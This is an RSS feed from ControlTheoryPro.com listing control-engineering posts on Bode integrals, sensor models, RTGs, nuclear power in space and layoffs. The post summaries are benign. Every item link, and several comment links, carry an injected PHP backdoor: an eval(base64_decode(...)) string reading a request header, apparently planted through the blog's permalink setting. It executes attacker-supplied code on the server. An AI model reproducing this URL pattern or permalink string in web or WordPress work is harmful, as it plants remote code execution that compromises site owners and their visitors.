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	<title>Blog at ControlTheoryPro.com &#187; engineering</title>
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		<title>Reflections after a layoff…</title>
		<link>http://blogs.controltheorypro.com/2009/10/10/reflections-after-a-layoff%e2%80%a6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 10 Oct 2009 22:19:22 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
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		<category><![CDATA[layoffs]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[the need for more engineers]]></category>
		<category><![CDATA[opportunities lost]]></category>

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		<description><![CDATA[Slow times at a company usually lead to layoffs.  But this is a scenario where everyone loses.  I think there's a way for everyone to win and the company to come out stronger.]]></description>
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		<title>Rules of Thumb in Controls Design</title>
		<link>http://blogs.controltheorypro.com/2009/02/17/rules-of-thumb-in-controls-design/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Tue, 17 Feb 2009 21:42:13 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Rules of Thumb]]></category>
		<category><![CDATA[control systems]]></category>
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		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=175</guid>
		<description><![CDATA[I've had a hard time identifying good industry rules of thumb for conservative controls design.  So I've put together a list of rules of thumb.]]></description>
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		<title>Bode Integrals</title>
		<link>http://blogs.controltheorypro.com/2009/02/14/bode-integrals/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 14 Feb 2009 21:42:12 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[Bode]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[stability]]></category>
		<category><![CDATA[bode integrals]]></category>
		<category><![CDATA[controllers]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=173</guid>
		<description><![CDATA[Controllers are not magic.  They required careful design unique to the frequency response of the plant.  The Bode Integrals inform us of design limitations.]]></description>
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		<title>New Sensor Models</title>
		<link>http://blogs.controltheorypro.com/2008/12/03/new-sensor-models/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Thu, 04 Dec 2008 07:23:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[sensors]]></category>
		<category><![CDATA[sensor modeling]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=164</guid>
		<description><![CDATA[Given that sensors are vital to feedback systems I've included a bunch of sensor models in my wiki.]]></description>
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		<title>What caused this satellite to fail</title>
		<link>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/29/what-caused-this-satellite-to-fail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 30 Nov 2008 07:26:10 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[failure]]></category>
		<category><![CDATA[integrated testing]]></category>
		<category><![CDATA[satellite]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=162</guid>
		<description><![CDATA[A Nigerian telecom satellite failed recently.  On another blog the question of why was asked.  I have some thoughts.]]></description>
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		<title>MATLAB&#8217;s Parallel Computing Toolbox: What finally worked</title>
		<link>http://blogs.controltheorypro.com/2008/11/23/what_finally_worked/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Mon, 24 Nov 2008 06:12:57 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[control systems]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[Monte Carlo]]></category>
		<category><![CDATA[Parallel Computing Toolbox]]></category>
		<category><![CDATA[Simulink]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=158</guid>
		<description><![CDATA[If you are going to use MATLAB's Parallel Computing Toolbox for the first time schedule a couple of weeks to figure out how to use it with Simulink.  I've found a work around using the batch command but it isn't ideal.]]></description>
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		<title>Why people are scared of Nuclear Power in space&#8230;</title>
		<link>http://blogs.controltheorypro.com/2008/11/16/why-people-are-scared-of-nuclear-power-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/11/16/why-people-are-scared-of-nuclear-power-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 02:19:07 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[clean energy]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[rtg]]></category>
		<category><![CDATA[space power]]></category>
		<category><![CDATA[sprace probes]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=147</guid>
		<description><![CDATA[The use of RTGs could greatly extend the life and science performed by robotic space missions.  However, we don't use RTGs primarily because people are scared.

No one is scared of nuclear power in space or on Mars just when the nuclear fuel is on its way to orbit.  I detail the reasons to be scared and the low probability of a event.]]></description>
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		<title>What is an RTG?</title>
		<link>http://blogs.controltheorypro.com/2008/11/14/what-is-an-rtg/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Sat, 15 Nov 2008 05:17:36 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[clean energy]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[rtg]]></category>
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		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=141</guid>
		<description><![CDATA[An RTG is a Radioisotope Thermoelectric Generator.  Essentially these radioactive isotopes decay to more stable atoms.  As the isotopes decay they give off heat and that heat is converted to electricity.  The conversion to electricity is done using thermocouples.]]></description>
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		<title>Nuclear Power in Space</title>
		<link>http://blogs.controltheorypro.com/2008/11/11/nuclear-power-in-space/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Wed, 12 Nov 2008 06:32:19 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[clean energy]]></category>
		<category><![CDATA[conjecture]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[interplanetary probe]]></category>
		<category><![CDATA[mars]]></category>
		<category><![CDATA[opportunity]]></category>
		<category><![CDATA[phoenix]]></category>
		<category><![CDATA[rtg]]></category>
		<category><![CDATA[space power]]></category>
		<category><![CDATA[spirit]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=135</guid>
		<description><![CDATA[Too many space probes are killed or maimed by a lack of power.  This is only a problem because they use solar power.  Power from radioactive decay is the answer.]]></description>
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		<title>Reverse Brain Drain&#8230;</title>
		<link>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blogs.controltheorypro.com/2008/10/30/reverse-brain-drain/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 31 Oct 2008 04:08:17 +0000</pubDate>
		<dc:creator>spradlig</dc:creator>
				<category><![CDATA[education]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[self-righteous rant]]></category>
		<category><![CDATA[space news]]></category>
		<category><![CDATA[the need for more engineers]]></category>
		<category><![CDATA[brain drain]]></category>
		<category><![CDATA[inspriation]]></category>

		<guid isPermaLink="false">http://blogs.controltheorypro.com/?p=130</guid>
		<description><![CDATA[For years the US has relied on foreign born engineers to supplant low US graduation rates.  India is starting to see some of its best and brightest return.  If the trend grows much it could spell serious trouble.]]></description>
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